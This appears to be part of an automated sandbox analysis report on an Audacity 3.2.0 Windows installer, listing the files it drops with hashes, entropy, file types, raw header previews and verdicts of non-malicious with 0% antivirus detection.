Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......P.e............................t.......t...........>...t.......t.......t.......t.......t.......Rich............PE..d...YQ............" ... .....&............................................................`A.........................................?..L...<A..x....p.......`.......<...'...........4..p...........................`3..@............0..8............................text............................... ..`.rdata..2....0......................@..@.data........P......................@....pdata.......`.......2..............@..@.rsrc........p.......6..............@..@.reloc...............:..............@..B................................................................................................................................................................................................................................................................

C:\Program Files\Audacity\is-4STCS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	692200
Entropy (8bit):	5.946896949403568
Encrypted:	false
SSDEEP:	6144:qVUcLAHg9culQu08+8OPx0DBVwf3g9WATjg44s9OZF164yvxZXo6w8dWC0KPmqn1:oKg9mu08DOPgBQg9W+g44WI1QvrRwlG1
MD5:	8D96C3D1D4CF00D6BEB8E3236A70A11B
SHA1:	3E1FE4A380592E2ED7033D76DDB72D992C1DEFA2
SHA-256:	E805BC69B3FC96C54997FAD52125D1D166273C71F30213E6887F713EB353D510
SHA-512:	58933480BA5AE75ADB0838E3FC2802AFEAB495C375BF0746751AEC136F9C965A7CA4D7A281F31240472405C3142B723751F33E2284804236EA25F2726AA94A7B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o..W+s..+s..+s..".7.9s......)s....Y.)s......&s......#s....../s......)s..N.../s......,s..+s...s......qs......s....[.s..+s3.s......s..Rich+s..........PE..d......c.........." ...!.............................................................t....`.........................................pj..7...0...T.......L.... ..`T...`.../..........p...8..............................@...............0............................text............................... ..`.rdata..............................@..@.data...9........\...\..............@....pdata...]... ...^..................@..@.idata...........0..................@..@.00cfg..u............F..............@..@.rsrc...L............H..............@..@.reloc...............R..............@..B........................................................................................................................................

C:\Program Files\Audacity\is-5AL5G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	139240
Entropy (8bit):	5.611265438551048
Encrypted:	false
SSDEEP:	3072:Bja2hBl43ep7z5vjU9TBfRyjVON7Cnh9X:ta2hw3el58TBJyjVk+nz
MD5:	D6F3B0B5B5107319DB5019D6A0CC5B76
SHA1:	EB958BEDD1D06BC0CD7CFE24E17ED7CB006CDC64
SHA-256:	43106F064C37874EFD7B686025BC447B142C9EB5D16B49E0644C750554BED70E
SHA-512:	8BD37B61C08D5F2FB3C826286C653D0B4FCA083373FAF2FB047A7513904FD5908E73258BC6E0DBD31BE0F0C4E531AF2E064A342295F0BBA21FE5095FF8B2C5AC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........?...Q...Q...Q.......Q...P.Q......Q...T.Q...U.Q...R.Q.y.P.Q...P.Q...U.Q...Q.Q......Q.......Q...S.Q.Rich..Q.................PE..d.....b.........." ... .:...................................................@............`.......................................................... ..i................/...0..l......8...........................p...@............................................text....9.......:.................. ..`.rdata..z....P.......>..............@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...i.... ......................@..@.reloc..d....0......................@..B................................................................................................................................................

C:\Program Files\Audacity\is-5BTDL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	256488
Entropy (8bit):	5.294092811447059
Encrypted:	false
SSDEEP:	6144:fBxjb0U+bGzZzaryzYf+DX66GDf358RSQ+n7:fY7
MD5:	9186950AAEC049E9A6DA2C05786C23BD
SHA1:	1C39654A83D19AEEF5AA4E15A7A561861E6DEE92
SHA-256:	885CDAA69ACE588B7C805B8CCD55AC55015160D25FE45FBC198AFF4963423D03
SHA-512:	692E31FA475014A1DBBF13E6C96D5C33564C461910C5DC07BA0EEF03F84C42E885DBE7D80313A4D1D89B427A9F0A008AAD72B275501638D9BF00A31E2A148E1F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........jF........................................................k......................................................Rich............................PE..d.....{b.........." .........6......................................................<.....`..........................................~......H................... ......../..............8...............................@...............H#...........................text.............................. ..`.rdata..^...........................@..@.data...I............~..............@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc..`...........................@..B........................................................................................................................................

C:\Program Files\Audacity\is-5LJ3G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	115176
Entropy (8bit):	4.985112592523774
Encrypted:	false
SSDEEP:	1536:COTA8lcan/2Xb0kFzm1w+FwFlr9mEnlX3JQ:COTHROXb091+AEnh3JQ
MD5:	8D26FC6F6F5AEDE0B909EF6831E3C9E1
SHA1:	AC699BFD23CAC17003C6921573FE19635F416B3F
SHA-256:	1D7C94FA40891A70117CA297E59822B75E4458F782B4ADA956E9982A4C60F3F8
SHA-512:	780754ACCDE9E2CF98B9C89B631F6F7FDBD32CFDEBDE1096700282605EF66826CB7895CDC75F8421E63D316CBC90B9F9E87ABDCE3E2A170A13CBFAF7700506C9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........>...P...P...P......P.@.Q..P.@.U..P.@.T..P.@.S..P...Q..P.C.Q..P.N.Q..P...Q.R.P.N.U..P.N.P...P.N....P.N.R...P.Rich..P.........PE..d..._.,c.........." ...!..................................................................`..........................................&.../..(...................t......../......L.......8.......................(.......@...............(............................text............................... ..`.rdata...u.......v..................@..@.data...Y....`.......D..............@....pdata..T............L..............@..@.idata..s).......*...V..............@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..C...........................@..B................................................................................................................

C:\Program Files\Audacity\is-5OMUN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	71656
Entropy (8bit):	4.430400520296577
Encrypted:	false
SSDEEP:	384:USemaikxpHmBsWXZH3m7R0viKGD7UdrAgy8HaP8kwSfZT8KcK9JVpwKANynss2m0:UXNQxW7dgZO8kwqZDX9KnmkEYXFP
MD5:	064B9182BBCB89335358B178635A8A98
SHA1:	56C7AB698DC6DB13B2C2F32F0AFACCFE7A764C60
SHA-256:	7F8C253CC4A3D83287910E7B6FC19ECF83CBF69488ED9BE8846C78202C98017A
SHA-512:	9F87178427C3335A7171EBE802A996F7D093AC45B5CAC013C855B4B9B3DB8B07270B495AA94565E7815955F865C8E0AD48A420C658A54EC3ED66A4C76691197C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.{.2.(.2.(.2.(.J0(.2.(.I.).2.(.I.).2.(.I.).2.(.I.).2.(J@.).2.(.2.(.2.(.I.).2.(.I.).2.(.I\(.2.(.I.).2.(Rich.2.(........PE..d...a.,c.........." ...!.....\...............................................0............`.............................................}... ............................/... ..h.......8...........................0...@............... ............................text...W........................... ..`.rdata..],..........................@..@.data...............................@....pdata..<...........................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................

C:\Program Files\Audacity\is-6C785.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	748008
Entropy (8bit):	5.587378359134429
Encrypted:	false
SSDEEP:	6144:Ts4SW144z11oCH2OmSds9GutIBraqsrY5UiBdnYC+GrzK8Y98yZSMqYOhR0BRry3:o81192QTBrFBvtjVS8
MD5:	7FFBED6DE7FF25F5074FBE3E333CEECA
SHA1:	BB4B7036DE8D38FC36D3A50AB766E8CC015E73A3
SHA-256:	3E01724648B57FF85EC76B424B3387467F2CE56B8D05B020247AA8F26B365E52
SHA-512:	5F3B25D443B77E1222AB96D82A947BCE3BDA0590F0737287568C0D502F25B8ECC6B242E83AF073FE63BB5620E5F65459240A1079CB8A790090A79CF5B30269FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+.t.+.t.+.t."...;.t.I.u./.t.I.q.3.t.I.p.#.t.I.w.(.t..u...t..u.).t.+.u.`.t..q.0.t..t..t.....t.+....t..v..t.Rich+.t.................PE..d.....{b.........." .................................................................e....`......................................... ........=.......`...........E...:.../...p.........8...........................P...@................-...........................text...f........................... ..`.rdata..9...........................@..@.data...)R...`...>...B..............@....pdata...M.......N..................@..@.idata..T4.......6..................@..@.00cfg..u....P......................@..@.rsrc........`......................@..@.reloc..1&...p...(..................@..B................................................................................................................................................

C:\Program Files\Audacity\is-6S7SN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	122856
Entropy (8bit):	4.924108808912473
Encrypted:	false
SSDEEP:	768:6Cbb5lhAHAXgKHWHyCaNob4Cjz+IgJRSPDS5K1pNYY4/o4BuTsApvnmkEYXJ:KQbNobPjz+IERemuTsApvnlXJ
MD5:	07489500E6EF2C1F5DC5171FF0F2FC31
SHA1:	DBF9EB2A3C936829B21C3AA4846FC65C4343B1D2
SHA-256:	DEE7031D0B1DE43E011B404E5705BCB7C791A9A235FB2C7A3D0A4CAD6452C7A6
SHA-512:	52C5012697B82A850C9FDC187FD5C56B7E106E0509E8FAC27EF78620AAED560CE46FEB137235183EC8DDA5D92F09430D35055356FDC1272534ED49F9D087729E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d6...X...X...X..}...X.]~]...X.]~\...X.]~[...X.]~Y...X..wY...X.^\|Y...X.S~Y...X...Y...X.S~]...X.S~X...X.S~....X.S~Z...X.Rich..X.........................PE..d.....,c.........." ...!............................................................).....`..........................................5...1.............................../...... ...P...8.......................(.......@............................................text............................... ..`.rdata..xw.......x..................@..@.data...Y....p.......Z..............@....pdata...............l..............@..@.idata..Z$.......&...z..............@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................

C:\Program Files\Audacity\is-7A0A0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3135
Entropy (8bit):	4.118243114663798
Encrypted:	false
SSDEEP:	24:/FiVGnSelecVMFum4rq41b5JDpprkwPdTnRxKqiwh:951ecQMTcwPdzRxK98
MD5:	2BF19AD3B70F5FEE5BE2A533AAC1B8D7
SHA1:	6DBEC2D105339B67DDD09B5574A386AC1AA4A360
SHA-256:	ACCA4F46F6A9A0C9887650FC0B63544EEC4187C7B3F351310D20ECBEAFEA9E8A
SHA-512:	30250D32DF6A0430F68EDE9307456489D988D5DF88583D373C4832455C58C55C3DCCE04E0CD49A270A00B863B364281DE30AA1ED1EBE952215E88504A8AEDFE8
Malicious:	false
Preview:	<EffectMenuList>.. <Group>.. Effects menu group name; audio dynamics compression, not data compression -->.. <Name>Volume and Compression</Name>.. <Effects>.. <Effect>Amplify</Effect>.. <Effect>Compressor</Effect>.. <Effect>Limiter</Effect>.. <Effect>Normalize</Effect>.. <Effect>Loudness Normalization</Effect>.. <Effect>Auto Duck</Effect>.. </Effects>.. </Group>.. <Group>.. Effects menu group name -->.. <Name>Fading</Name>.. <Effects>.. <Effect>Fade In</Effect>.. <Effect>Fade Out</Effect>.. <Effect>Studio Fade Out</Effect>.. <Effect>Adjustable Fade</Effect>.. <Effect>Crossfade Clips</Effect>.. <Effect>Crossfade Tracks</Effect>.. </Effects>.. </Group>.. <Group>.. <Name>Pitch and Tempo</Name>.. <Effects>.. <Effect>Change Pitch</Effect>.. <Effe

C:\Program Files\Audacity\is-7BF1G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	76776
Entropy (8bit):	4.851412108993184
Encrypted:	false
SSDEEP:	768:9H6feUA2TYjbXYPGFLr4KPlncp6VnmkEYXKV:9a2UGfX3FLr45p6VnlXY
MD5:	9CEE5EB73538A4E2CEF3576146362021
SHA1:	3E0A5C2245D1353907F174716BA09924140FFCC6
SHA-256:	5FE544C060F7FC830895D4FEB87E05812B4F3C2E17223C9784D726FCC640DB72
SHA-512:	40E74C80F35EAEE654BA9495E70940808E8EDF649B82B9404486469F60B19DB4D6557AD859B5AFE5879CBFA22BB2A754245B5358A5839E6E8B708F8D48CE3DCD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hfV.............q......ur......ur......ur......ur......&{..............{r......{r......{r......{r......Rich............PE..d...e.,c.........." ...!.....n...............................................`............`.........................................@...X...H........@..<................/...P......@...8...............................@...............H............................text............................... ..`.rdata...5.......6..................@..@.data...)...........................@....pdata..............................@..@.idata..v...........................@..@.00cfg..u....0......................@..@.rsrc...<....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................

C:\Program Files\Audacity\is-7F1IJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	202216
Entropy (8bit):	5.227672588190247
Encrypted:	false
SSDEEP:	3072:VwuUXSmI6J82fOob9bUlEgh2EksDifvnhb:VwurMBbUf0EksD+vnx
MD5:	61F3B31C9AFD1329491E79CEECAA4307
SHA1:	539D836831C23C783D9011B2B81B7DC4173AC516
SHA-256:	94213EA6462F6868F428B2CD2617676D5A41E050F796E6227686751A98253AC1
SHA-512:	ADE5AD43B4FA3393EA0F42EC0727C5582615963C4203743E58AA7187DD7F53A489BD47F2C6372BF4EDC325BB467B1A529BCD196237BAF6AC9ACCEB2A94A6BF38
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...........Bgb.Bgb.Bgb.K..Jgb.....Cgb...f.Jgb...a.Agb...g.Ygb...c.Dgb...c.Dgb...c.@gb...c.@gb...c.Egb.Bgc..gb...f.Dgb...g.Fgb...b.Cgb.....Cgb...`.Cgb.RichBgb.................PE..d....,c.........." ...!.....................................................@............`..........................................x..........@.... ..........`......../...0......`%..8............................#..@............................................text...V........................... ..`.rdata..............................@..@.data....(...........\|..............@....pdata..`...........................@..@.idata...-..........................@..@.00cfg..u...........................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................

C:\Program Files\Audacity\is-7HBD3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	131560
Entropy (8bit):	4.969185559500234
Encrypted:	false
SSDEEP:	1536:iALv5lReeZOoVGJADhoFL8VqS2nlXQLq9:HRPuoVLOoqS2nhOq9
MD5:	F8254E6C89809BB49847C6F88BCFE980
SHA1:	4757982F3A908863FB942A3B753B6F8CFCFE3E55
SHA-256:	7355922CF09D5967173FDFC1EE2693861E0A53D515B147073269A05BAEA80899
SHA-512:	5BCCEB14B9CE39A90F26AB5BF0BB8CD71D994A4BAEAEEBEE382593CD7C0EC2B845AB627209B67DC7AA41B4546CCB927446F0B596754AC47F647B0C4966A2CF1B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.z....O...O...O...O...O...N...O...N...O...N...O...N...O...N...O...N...O...N...O...Ou..O...N...O...N...O...O...O...N...ORich...O................PE..d.....,c.........." ...!.....................................................0.......i....`..........................................k......@...T...............X......../... ..@...`3..8....................8..(....1..@...............@............................text............................... ..`.rdata...i... ...j..................@..@.data................t..............@....pdata..............................@..@.idata...*.......,..................@..@.tls................................@....00cfg..u...........................@..@.rsrc...............................@..@.reloc..0.... ......................@..B........................................................................................................

C:\Program Files\Audacity\is-7U34J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	275944
Entropy (8bit):	5.75829192222849
Encrypted:	false
SSDEEP:	3072:Jwa20khRG66NAjLzwJyVTe2e/B9RjhsqmTcmZk+CGYnhB8:JwJPh466AzL5SZOcVlnT8
MD5:	4CB24B18EE80396059FEC2C5FEF1B28C
SHA1:	B11EF4C9099ED511ACD286BFAF7BEA115349E4A2
SHA-256:	CCD217E75C844543F99CF33FF7D8CDF7FE892BD7D94851D7D9DC6B5918284DD6
SHA-512:	79FEAF95AE2E69968B7F8779B3BBD08A887AF66ED5DFC9EFB6BE75A0277C3E1AECFB9EBC305A1E55B7A7E4DE5E8A465279DAABD6226563A05A1D59A7089E6A75
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........A.............!.....U.......U.O.....U.......U.......U.......1...............X.......X.......X.M.....X.......Rich............PE..d......c.........." ...!.....(......#........................................p.......^....`.........................................0....F...&.......P..<.......@......../...`..x...0K..8............................I..@............ ...............................text............................... ..`.rdata..............................@..@.data...............................@....pdata..T!......."..................@..@.idata....... ......................@..@.00cfg..u....@......................@..@.rsrc...<....P......................@..@.reloc.......`......................@..B................................................................................................................................................................

C:\Program Files\Audacity\is-8JNDO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72168
Entropy (8bit):	5.392902801962167
Encrypted:	false
SSDEEP:	768:oFiu3Uhgnip5hBGtUplYwVrUP9lnmkEYX5:vmcgniL20iP9lnlX5
MD5:	BF0D933C269FE077603A195002E8E51F
SHA1:	4A43C6A47B5748E22230541FE5C13597E4408693
SHA-256:	C3424770AC6E8BACDB1C66FB489899ED3FE1F297E346BCFDB5461386AC72EAAD
SHA-512:	56AD1AC354D96CED3ADCAF9E116A43BADD7998B7A71B03D0A2B2289FC8C79163E4E589B3BCBBFD0521C408EE2F8D06A80D000D3F5707E1CEAC271447E8C2697A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Mc..,.Z.,.Z.,.Z.T.Z.,.Z.V.[.,.Z.V.[.,.Z.V.[.,.Z.V.[.,.Z_\.[.,.Z.,.Z.,.Z.V.[.,.Z.V.[.,.Z.V.Z.,.Z.V.[.,.ZRich.,.Z........................PE..d...8d.b.........." ... .x...p...............................................@............`.....................................................d.... ..<.......h......../...0..,...p...8..............................@............................................text...tw.......x.................. ..`.rdata..{N.......P...\|..............@..@.data...............................@....pdata..............................@..@.idata..............................@..@.00cfg..u...........................@..@.rsrc...<.... ......................@..@.reloc..x....0......................@..B........................................................................................................................................................

C:\Program Files\Audacity\is-8SGGQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3775464
Entropy (8bit):	5.936143212847973
Encrypted:	false
SSDEEP:	49152:lJ/D9/J+5LLXLpgUISnbPY0wTr1GK15vfmi3OqUh8oLWkp:j9/cLFnbAlZ15nILN
MD5:	3E61C8621670B631553A226789DF80A9
SHA1:	4577401E148C97D1E99B42D6E9062227F72ED98B
SHA-256:	E5CB1D17D5C1570BA7A4557A25DA9D1CE77EB0376FFBB8608411CED473A6C73C
SHA-512:	1BA37BAAA8FE5FBA1831E443FA4515E926E0719690817A00E545C72B94EDB34E0321466E4B2DE90C4D07050A03B7176A5C1511F2AE6DC1C665CF2091BD2FA8EB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........gn....F...F...F.~.F...F.~.G...F.~.G...F.~.G...F.~.G...Fb..G...F.v.G...F.v.G...F.v.G...F...Fi..Fb..G...Fb..G...Fb..G...Fb..F...F...F...Fb..G...FRich...F........PE..d.....{b.........." .....d$..<................................................:.....6.9...`..........................................g-......69.......9.......7.8`...l9../....9.."...n(.8.....................(.(....l(.@............ 9..............................text....c$......d$................. ..`.rdata........$......h$.............@..@.data.........6......l6.............@....pdata........7.......7.............@..@.idata..JV... 9..X....8.............@..@.tls..........9.......9.............@....00cfg..u.....9.......9.............@..@.rsrc.........9.......9.............@..@.reloc..8L....9..N....9.............@..B........................................................................................

C:\Program Files\Audacity\is-9JHT8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1300456
Entropy (8bit):	5.176340422666014
Encrypted:	false
SSDEEP:	24576:UBIOwe4r6XKpikGUF3aHiYIMT03/RVSDiQfvxC6v/:Uj4r6XKpikGUF3aHiYITSDiQA6
MD5:	3CE01B304D9DBDE06EE1D57795214196
SHA1:	FD2656F5D2FE955BE1FB2B36C0B4A8643A606F1E
SHA-256:	C6D794C6D614BEC0DFE08BE2F7401E0C27091F11ECE700EBF76D78A3ACF7EDF3
SHA-512:	B4E891453D42628A22E408F9D635C68D1090244574E85F40CF54FD3EC9E14F15988199829E821EAC1EA22E9F0D2CCBD42C56DC3BFF5A7D49AE0FFF47F4274CC4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........}J...J...J...C...^....../@....../I....../h....../L...../N...../O...J......../G...../k....../K.....B.K....../K...RichJ...................PE..d.....,c.........."....!.......................@....................................<~....`.................................................8...h............ ..db......./..............8.......................(.......@...............8'...........................text...b........................... ..`.rdata.......0......."..............@..@.data...............................@....pdata..\m... ...n..................@..@.idata..Z............t..............@..@.tls.................v..............@....00cfg..u............z..............@..@.rsrc................\|..............@..@.reloc...%.......&..................@..B........................................................................................................

C:\Program Files\Audacity\is-9K9M7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	155624
Entropy (8bit):	5.265171313407522
Encrypted:	false
SSDEEP:	1536:qKjZYDM5bxuV8/aiTNbQNIjZLeqrj7op/zo8Y+6AbAvjnlXm3x:qycVFiTZQNnqjoFo8YKbAvjnh+
MD5:	2E74D0CA4ABA12AE2CC3A1B5C894B7AF
SHA1:	FD85A6B9F071756FFB43BE8DAF926B1F1934CF5C
SHA-256:	97334F54BE3D14A9EE377C49B53D05A1CB4FAD9B1E5046A13E43EF152DCD06A7
SHA-512:	A06B522C86799605ABF700FC2944180202DDE23FACDCB5854D7CD25046EF9E28C46703079D3FD98AA701538CEF28E094D74D4FF23259ED67B4CC1A63CF9C9564
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........J..$...$...$......$...!...$... ...$...'...$...%...$.O.%...$...%...$...%...$...%..$...!...$...$...$......$...&...$.Rich..$.........PE..d... .,c.........." ...!.b..........................................................m ....`.................................................(9..,...............h....0.../.......... ...8.......................(.......@............0..(............................text...1a.......b.................. ..`.rdata...o.......p...f..............@..@.data...............................@....pdata..8...........................@..@.idata...(...0...*..................@..@.tls.........`....... ..............@....00cfg..u....p.......$..............@..@.rsrc................&..............@..@.reloc...............,..............@..B................................................................................................................

C:\Program Files\Audacity\is-9T84T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.2359263506290334
Encrypted:	false
SSDEEP:	3:qs/KMn:X/KMn
MD5:	95E15C085988C0B3A0435448B51E2198
SHA1:	696863B3211762C9F2EEDA7882E34E808EEE95AB
SHA-256:	29E4D55E0C05BE59BCBC7606A5BDFB3DFA54DB83624323A72ABEC6800B8DB97D
SHA-512:	EDCAD00DC92D3A8B2CE3707C38079570A43A93798D7BAFD031CB99864F6F2EC2AC8FEAEA13B4830062FF9346FAE1EA03BF680A55D0D379A63E47950CEE11F143
Malicious:	false
Preview:	[FromInno]....

C:\Program Files\Audacity\is-AG00V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21392
Entropy (8bit):	6.282301676714795
Encrypted:	false
SSDEEP:	384:9vhXafwUhZWi3EWQKLHRN7re1x85zR9znk2:9soiKA6109zv
MD5:	CA46540F86E9ABE819EBAAF8CDE16681
SHA1:	70F3762CC6021A1E3ACB98108513DFD19613B76F
SHA-256:	14F943547D1FDB125059EEB9DFB146597AF96CAAC3EA9902578595E9B0C71FB4
SHA-512:	25C5F4491B565E8BC7EDB4F219E7B883F99D9B5BE787627FDB7619B5CB04305AFE9EA36C3EEC53E57E8F7174A65E48F903DBE49BAA272B618B276626292B45D2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%..)a..za..za..z..{c..zh.5zc..z..{b..za..z@..z..{f..z..{c..z..{m..z..{`..z..Yz`..z..{`..zRicha..z................PE..d.....N..........." ... ............P........................................p.......F....`A........................................p(..0....)..P....P.......@.......,...'...`..,...."..p............................!..@............ ...............................text............................... ..`.rdata..B.... ......................@..@.data........0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..,....`.......*..............@..B........................................................................................................................................................................................................................................................

C:\Program Files\Audacity\is-CV5R1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	163304
Entropy (8bit):	5.2787590433466605
Encrypted:	false
SSDEEP:	1536:+7gYw7uaHb0JVXTyYHTYc5r7dnW8aetBg/nlXH:FYmuaH2xTyYzYc5s8aetBSnhH
MD5:	8FBE5290565F390AA3A58CBBED175276
SHA1:	34C241349D8A954D68E332B2D17DA7DA5BFF1AB9
SHA-256:	3CEC5CF1C56B0A268CEF01E10BC31D63E5E64E31AA59714E26BA57AB5B4E5561
SHA-512:	19C093C351F7D075D57659A436EC65CD60ED04550615C286F3EA4A87A1ABBBA19BC9EE0669C34101CCABE27082F65A2CD32B6BC23F0EF33F34D5FAC0D67FB333
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........).9.H.j.H.j.H.j.0Vj.H.j$3.k.H.j$38j.H.j$3.k.H.j$3.k.H.j$3.k.H.j@8.k.H.j)3.k.H.j.H.jUH.j)3.k.H.j)3.k.H.j)3.k.H.j)3:j.H.j)3.k.H.jRich.H.j........................PE..d......c.........." ...!.....f......7................................................e....`.........................................`F......X,..........<............N.../......\...0...8...............................@............ ..X............................text...2........................... ..`.rdata..............................@..@.data...y...........................@....pdata..@...........................@..@.idata..UB... ...D..................@..@.00cfg..u....p.......@..............@..@.rsrc...<............B..............@..@.reloc...............H..............@..B................................................................................................................................

C:\Program Files\Audacity\is-DBS3U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	191464
Entropy (8bit):	5.331478897868557
Encrypted:	false
SSDEEP:	1536:FR5CHgVIEaJBnr5Ck4xkY3m5bytZ0PAE0qXMdVsNoL13YSPoZZXR79GCnlX+Q:kVIk4xkY3mRyL0PAETcVsNol4ZBgCnh5
MD5:	1D5F783A910CCB102E61DC558B2152C8
SHA1:	2980CB0B9B0152901B231D3E952B508375FE6F6E
SHA-256:	06C3871F93963BE1D7455BF87E761DED2C64A6D5C25EDF2DF5AD3D63C948414C
